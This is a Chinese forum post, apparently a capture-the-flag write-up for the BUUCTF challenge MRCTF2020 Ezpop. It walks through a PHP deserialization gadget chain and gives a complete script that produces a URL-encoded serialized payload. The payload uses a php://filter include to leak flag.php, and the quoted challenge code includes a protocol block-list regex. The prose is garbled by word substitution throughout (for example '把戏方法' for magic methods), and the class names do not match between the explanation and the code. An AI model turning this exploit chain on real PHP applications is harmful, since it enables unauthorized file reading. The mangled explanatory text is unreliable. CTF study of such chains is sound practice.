BUUCTF [MRCTF2020]Ezpop

打印 上一主题 下一主题

主题 1027|帖子 1027|积分 3081

这道题对于刚打仗到pop链的我直接把我整懵了,一边看着把戏方法一边分析
把戏方法可以看这里PHP 把戏方法 - 简介 - PHP 把戏方法 - 简单教程,简单编程 (twle.cn)

代码解析


经过以上的分析我们可以理一下解题思绪:接收参数反序列化之前先触发wakeup方法,举行一些过滤防止ssrf,我们可以将source赋值为实例对象触发tostring方法
如果我们将str赋值为Test类的一个对象,由于读取不到source触发get把戏方法
再将Test类中的p赋值为Modify类的一个对象,对象被当作函数使用直打仗发invoke
方法,从而包含文件用伪协议读取出来
链子大概就是这样:show->__wakeup->__tostring->Test->__get->Modify->__invoke->append->include

由于var是protect属性无法在类外举行访问,以是我们直接举行复赋值


直接上我的脚本了,先将三个类实例化出三个对象a,b,c  通过这三个对象来访问类内部的变量
  1. $c->p = $a将Test中的p赋值为一个Modify对象,用来触发invoke方法
复制代码
  1. $b->source = new Show()因为通过$b这个对象进行访问的,所以需要source赋值一个新的Show对象,用来触发__toString方法
复制代码
  1. $b->source->str = $c中$b->source已经成为一个新的Show实例对象,通过该对象访问str,为其赋值为$c(Test类的对象),又因为Test类中访问不到source资源从而触发get方法
复制代码
最后举行url编码是由于protected属性的变量会输出一些不可见的字符,直接复制表现就是乱码无法构成成功攻击,举行一次url编码即可,浏览器会自动解码的

  1. class Modifier {
  2.     protected  $var="php://filter/read=convert.base64-encode/resource=flag.php";
  3.     public function append($value){
  4.         include($value);        //包含flag.php
  5.     }
  6.     public function __invoke(){
  7.         $this->append($this->var);
  8.     }
  9. }
  10. class Show{
  11.     public $source;
  12.     public $str;
  13.     public function __toString(){
  14.         return $this->str->source;        //将Test实例化的对象给str,在Test中不存在source,此处调用__toString时触发__get方法
  15.     }
  16.     public function __wakeup(){
  17.         if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
  18.             echo "hacker";
  19.             $this->source = "index.php";
  20.         }
  21.     }
  22. }
  23. class Test{
  24.     public $p;
  25. //    public function __construct(){
  26. //        $this->p = array();           没用,注释掉
  27. //    }
  28.     public function __get($key){
  29.         $function = $this->p;
  30.         return $function();        //触发__invoke方法
  31.     }
  32. }
  33. $a = new Modifier();
  34. $b = new Show();
  35. $c = new Test();
  36. $c->p = $a;
  37. $b->source = new Show();
  38. $b->source->str = $c;
  39. echo urlencode(serialize($b));
复制代码


得到一串base64

解码得到flag


免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

尚未崩坏

论坛元老
这个人很懒什么都没写!
快速回复 返回顶部 返回列表